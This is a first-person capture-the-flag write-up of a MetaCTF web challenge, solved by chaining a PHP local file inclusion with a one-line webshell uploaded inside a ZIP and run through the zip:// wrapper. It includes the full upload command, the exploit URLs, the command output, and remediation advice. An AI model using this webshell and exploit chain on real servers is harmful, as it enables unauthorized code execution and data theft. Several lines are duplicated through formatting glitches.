August 6, 2026
The ZIP That Unzipped Everything
How I cracked a patched website using a webshell, a ZIP file, and one very sneaky PHP wrapper

By Bleu I Bombade
9 min read
Bleu I Bombade · August 2026 · MetaCTF Web Exploitation · ~11 min read
It is almost midnight when I find Zay's Zipper Repair.
I have been in this competition for hours. Seventh on the leaderboard, which feels good and also precarious in the way that any position you did not expect feels good and precarious at the same time. I have already cracked a bespoke Feistel cipher inside a memory dump, stolen an ECDSA private key by brute-forcing a clock, and escaped a Python sandbox by typing three characters. My terminal window is a mess of half-finished curl commands and commented-out scripts. My coffee has gone cold.
I scroll through the remaining challenges. Most of them are in categories I have not touched yet. Then I see it: a web challenge, medium difficulty, with the most cheerful flavor text in the entire competition.
"My friend Zay just opened his zipper repair company last week, and he's already been hacked 4 times! People must really hate zipping. He hired another buddy to fix it, but I'm not too confident in his work. See if there's still a way in…"
I read it twice. Then I read it a third time, because something in it is trying to tell me something, and I want to be sure I am listening.
Hacked four times. Not once. Not twice. Four. That is not bad luck — that is a pattern. Someone keeps finding the same open window and climbing through it. He hired another buddy to fix it. Not a security engineer. A buddy. And the challenge author is "not too confident" in that work. This is not a hint. This is a confession.
I click the link.
The First Thing I See
The site is called Zay's Zipper Repair. It has a logo, a tagline, a services section, and a call-to-action button. It looks like a really small business website. But I am not looking at the design. I am looking at the URL.
http://m6c6ehbx.chals.mctf.io/?p=home.phphttp://m6c6ehbx.chals.mctf.io/?p=home.phpThat ?p=home.php is one of those things that, once you have seen it enough times, you stop reading as a URL parameter and start reading as a confession. It almost always means the same thing: somewhere in the PHP code, there is a line that takes that value and passes it directly into include() or require(). No sanitization. No allowlist. Just your input, going straight into a function that opens and executes whatever file path it receives.
This is called Local File Inclusion. LFI. It is one of the oldest web vulnerabilities in the PHP world, and it is still alive in 2026 because people keep writing _include($GET['p']) and moving on.
I click the other page on the site: the upload form.
The Fix That Wasn't
The upload page accepts ZIP files from customers who want to mail in their broken jackets and bags. That part is fine. But there is a notice near the top of the form that makes me stop:
From the upload page: "We accept ZIP files containing photos and a short note
describing the issue.
Archives with symbolic links are rejected for security."From the upload page: "We accept ZIP files containing photos and a short note
describing the issue.
Archives with symbolic links are rejected for security."Right there. The fix, written out loud, in public, for anyone to read.
The previous attacker used a ZIP symlink exploit. It is a classic technique: you create a ZIP file containing a symlink that points to a sensitive file on the server — something like /etc/passwd or /var/www/html/config.php. When the server extracts the archive without checking for symlinks, it creates the symlink on its own filesystem. If the server then serves that file through a URL, it follows the link and hands you the sensitive file. Hacked once, twice, three times, maybe four, probably through exactly this method.
Then someone added a check: reject ZIPs with symlinks. The attack stopped. The underlying problems did not.
I start making a list in my head.
— The ?p= parameter is almost certainly feeding directly into include().
— The site accepts ZIP file uploads and stores them somewhere.
— The only fix applied was rejecting symlinks — everything else is untouched.
— I need to find a PHP file on the server that I control, then make the server include it.
The shape of the attack is already forming. I just need to confirm the pieces.
Poking the Wound
I start where I always start when I suspect LFI: I ask for a file that probably does not exist.
http://m6c6ehbx.chals.mctf.io/?p=flag.phphttp://m6c6ehbx.chals.mctf.io/?p=flag.phpMost modern PHP applications are configured to suppress error output. This one is not. The server replies with a full PHP warning:
Warning: include(flag.php): Failed to open stream: No such file or directory
in /var/www/html/index.php on line 25Warning: include(flag.php): Failed to open stream: No such file or directory
in /var/www/html/index.php on line 25That is more information than I expected. I now know the server runs PHP, that include() is called at line 25 of index.php with my raw input, and that the web root is /var/www/html/. Three facts, confirmed in one request.
I try the obvious next moves. PHP's filter wrapper, which can base64-encode source files and let you read them through LFI:
?p=php://filter/read=convert.base64-encode/resource=index.php?p=php://filter/read=convert.base64-encode/resource=index.phpEmpty response.
?p=/etc/passwd?p=/etc/passwdEmpty response. Either those wrappers are blocked, or the output is being suppressed for anything that does not look like a PHP file. The classic LFI shortcuts are not going to work here. The buddy patched more than just the symlinks.
I sit back for a moment. The LFI is real but partially neutered. I cannot read arbitrary files directly. What I can do is include a PHP file and have it execute. So the question becomes: how do I get a PHP file onto this server?
I look at the upload form again.
One Line of PHP
The upload form accepts ZIP files. It rejects symlinks. It does not say anything about rejecting PHP files inside those ZIPs. And why would it? The intended use is photos and a note. Nobody writes their jacket repair description in PHP.
I write mine in PHP.
<?php system($_GET["cmd"]); ?><?php system($_GET["cmd"]); ?>That is a webshell. One line. It takes a URL parameter called cmd, passes it to the system() function, and prints the result. If I can get the server to execute this file, I can run any command I want.
I save it as shell.php. I zip it into shell.zip. The ZIP contains no symlinks — it is a completely ordinary archive with one PHP file inside. I uploaded it to the form. The field name on the form is zipfile, which I caught by looking at the page source.
curl -s -F "zipfile=@shell.zip;type=application/zip" \
http://m6c6ehbx.chals.mctf.io/?p=upload.phpcurl -s -F "zipfile=@shell.zip;type=application/zip" \
http://m6c6ehbx.chals.mctf.io/?p=upload.phpThe server responds:
File uploaded successfully as uploads/shell_1785879546_6d7d2d67.zip
The ZIP is on the server. It is stored at uploads/shell_1785879546_6d7d2d67.zip
which is a web-accessible path. My PHP shell is inside it. The symlink check
passed because there are no symlinks. Now I need the server to execute
the PHP file that is trapped inside that archive.File uploaded successfully as uploads/shell_1785879546_6d7d2d67.zip
The ZIP is on the server. It is stored at uploads/shell_1785879546_6d7d2d67.zip
which is a web-accessible path. My PHP shell is inside it. The symlink check
passed because there are no symlinks. Now I need the server to execute
the PHP file that is trapped inside that archive.This is the part where a lot of people would get stuck. The file is uploaded, but the server did not extract it. You cannot directly access shell.php via a URL; it is zipped. And include() with a path like ?p=uploads/shell_1785879546_6d7d2d67.zip would try to execute the ZIP file as PHP, which would fail.
But PHP has a trick that most people forget exists.
The Wrapper They Forgot to Disable
PHP supports something called stream wrappers. They are special URI schemes that change how PHP reads data. You use file:// for local paths, http:// for remote URLs, php://input for request body data. These wrappers work inside include() just like they work anywhere else in PHP.
One of them is zip://.
The zip:// wrapper tells PHP to open a ZIP archive and read a specific file from inside it. The syntax is:
zip://path/to/archive.zip#filename_inside_the_zipzip://path/to/archive.zip#filename_inside_the_zipSo if I combine this with the LFI, I get something like:
?p=zip://uploads/shell_1785879546_6d7d2d67.zip#shell.php?p=zip://uploads/shell_1785879546_6d7d2d67.zip#shell.phpThat tells the server: use the zip:// wrapper to open the ZIP file at that path, extract shell.php from inside it, and then include() it as PHP. Which means: execute it.
The php:// and file:// wrappers were apparently blocked. But zip:// requires a different PHP configuration option — allow_url_include versus the wrapper configuration for local ZIP access. The buddy who fixed the site blocked some wrappers but not this one.
I add the cmd parameter and send the request:
?p=zip://uploads/shell_1785879546_6d7d2d67.zip#shell.php&cmd=id?p=zip://uploads/shell_1785879546_6d7d2d67.zip#shell.php&cmd=idI am not going to pretend I was calm when I hit enter. I have been working toward this moment for the better part of an hour. The response loads.
uid=33(www-data) gid=33(www-data) groups=33(www-data)uid=33(www-data) gid=33(www-data) groups=33(www-data)Remote Code Execution. The server just told me who it is running as. My command executed. I am inside.
Two More Requests
Once you have RCE, finding a flag is mostly a matter of knowing where to look. CTF flags are usually in the root directory, in the web root, or in a home directory. I start at the top:
?p=zip://uploads/shell_...zip#shell.php&cmd=ls%20/
# Output:
boot dev etc flag-jwPGodWhuBhPkiZc.txt home lib lib64 ...?p=zip://uploads/shell_...zip#shell.php&cmd=ls%20/
# Output:
boot dev etc flag-jwPGodWhuBhPkiZc.txt home lib lib64 ...There it is. A file named flag-jwPGodWhuBhPkiZc.txt is sitting in the filesystem root. Not inside the web directory, not in a home folder right at the top of the tree, only reachable because we are running commands as the web server user. One more request:
?p=zip://uploads/shell_...zip#shell.php&cmd=cat%20/flag-jwPGodWhuBhPkiZc.txt?p=zip://uploads/shell_...zip#shell.php&cmd=cat%20/flag-jwPGodWhuBhPkiZc.txtMetaCTF{w3ll_z1pp1ty_d00_4_y0u}
Zippity doo. The flag literally calls the method. The challenge designer named the solution in leetspeak and put it inside the flag. That is the kind of thing people do when they are proud of a well-built trap.
I submit it. It goes green. I lean back in my chair and let the clock run for a minute.
How the Chain Actually Works
Let me show the full attack clearly, because each step is simple on its own, and the power is entirely in how they connect.
Step 1: Read the URL.
?p=home.php tells you the server is including files by name. This is your entry point. Everything else depends on it.
Step 2: Confirm with an error.
Request ?p=flag.php. The PHP error message confirms include() takes raw input and leaks the server path. Two facts, zero guessing.
Step 3: Upload a PHP shell in a ZIP.
A regular file inside a regular ZIP. No symlinks, no tricks, nothing the symlink check cares about. The server stores it at a known path in a web-accessible directory.
Step 4: Use zip:// to bridge the gap.
PHP's zip:// stream wrapper opens the ZIP and extracts the PHP file from inside it. Combined with the LFI, include() then executes that PHP. The shell is now running on the server.
Step 5: Execute and retrieve.
ls /, find the flag file, and cat it. Done in two requests.
The elegant part: none of these steps requires exploiting a single CVE. No memory corruption, no cryptographic weakness, no reverse engineering. Just three misconfigurations and an unsanitized include(), a PHP shell accepted inside a ZIP, and the zip:// wrapper left enabled — chained together into full server access.
What Should Have Been Different
Fix the include(), not the attacker's method.
The root vulnerability is include() taking user input. An allowlist — four lines of code — makes every wrapper, every traversal, every encoding trick irrelevant:
$allowed = ['home', 'upload', 'contact'];
$page = $_GET['p'] ?? 'home';
if (!in_array($page, $allowed, true)) { $page = 'home'; }
include(__DIR__ . '/' . $page . '.php');$allowed = ['home', 'upload', 'contact'];
$page = $_GET['p'] ?? 'home';
if (!in_array($page, $allowed, true)) { $page = 'home'; }
include(__DIR__ . '/' . $page . '.php');Scan what is inside the ZIP, not just its structure.
The symlink check looked at ZIP metadata. A content scan rejecting any archive that contains .php, .phtml, .phar, or other executable types would have stopped the attack at step three.
Move uploads off the web root.
Uploaded files stored at /var/www/html/uploads/ are reachable via URL. Move them to /var/uploads/ outside the web root entirely. Even if someone uploads a PHP file, there is no URL to trigger it. Serve downloads through a controller script that reads and streams files safely.
Disable stream wrappers you do not use.
# php.ini
allow_url_include = Off
allow_url_fopen = Off# php.ini
allow_url_include = Off
allow_url_fopen = OffTwo lines. They do not fix the LFI, but they cut off zip://, php://, data://, and expect:// as exploitation vectors. Defense in depth means that when one layer fails, the next one holds.
Think about what the last attack was actually exploiting.
The buddy who fixed the site asked: "how did they get in?" and answered: "symlinks in ZIPs." The right question is: "why did symlinks in ZIPs cause damage?" Because include() accepts user-controlled input. Because uploads are web-accessible. Because stream wrappers are enabled. Fix the why, not just the how.
What This Challenge Is Actually About
Zay's Zipper Repair is a challenge about security theater. A visible fix to the warning message about symlinks, printed right there on the page, gives the impression of security while the real attack surface sits untouched. Real-world systems get breached this way constantly. A patch gets applied to the last attack vector. The root cause stays open. Someone finds a different path to the same destination.
The challenge also rewards the habit of reading carefully. Every piece of information I needed to solve it was on the public-facing pages of the site: the URL structure, the upload warning, the PHP error. Nothing required guessing. Nothing required a wordlist or a scanner. Just reading, hypothesizing, and testing one step at a time.
"A patch is only as good as its model of the attack. If your model stops at the delivery mechanism and ignores the conditions that made delivery possible, the door is still open. You just can't see it anymore."
I finished 7th grade that weekend. This challenge is one of the reasons I feel good about that number and also a little impatient with it. The next time I see a URL like ?p=home.php, I will not spend any time confirming the obvious. I will go straight to the upload page.
Flag captured: MetaCTF{w3ll_z1pp1ty_d00_4_y0u}